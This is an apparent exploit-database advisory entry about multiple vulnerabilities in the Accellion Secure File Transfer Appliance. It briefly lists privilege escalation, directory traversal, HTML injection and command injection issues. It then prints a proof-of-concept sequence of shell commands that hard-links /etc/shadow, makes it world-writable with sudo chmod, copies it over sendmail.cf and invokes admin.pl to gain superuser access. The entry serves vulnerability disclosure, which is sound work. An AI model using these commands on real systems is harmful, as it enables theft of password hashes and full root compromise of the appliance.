Accellion Secure File Transfer Appliance – Multiple Command Restriction / Privilege Escalations
source: https://www.securityfocus.com/bid/38176/info Accellion File Transfer Appliance is prone to multiple remote vulnerabilities, including: - Multiple privilege-escalation issues - A directory-traversal issue - An HTML-injection issue - A remote command-injection issue An attacker may leverage these issues to execute arbitrary script code within the context of the webserver, steal cookie-based authentication credentials, obtain sensitive information, and execute arbitrary code or commands with superuser privileges. Other attacks are also possible. The following proofs of concept are available: sh-2.05b$ ln /etc/shadow /home/admin/oldtemp sh-2.05b$ sudo /bin/chmod 666 /home/admin/oldtemp sh-2.05b$ ln /etc/shadow /home/admin/temp sh-2.05b$ sudo /bin/cp /home/admin/temp /etc/mail/sendmail.cf sh-2.05b$ sudo /usr/local/bin/admin.pl |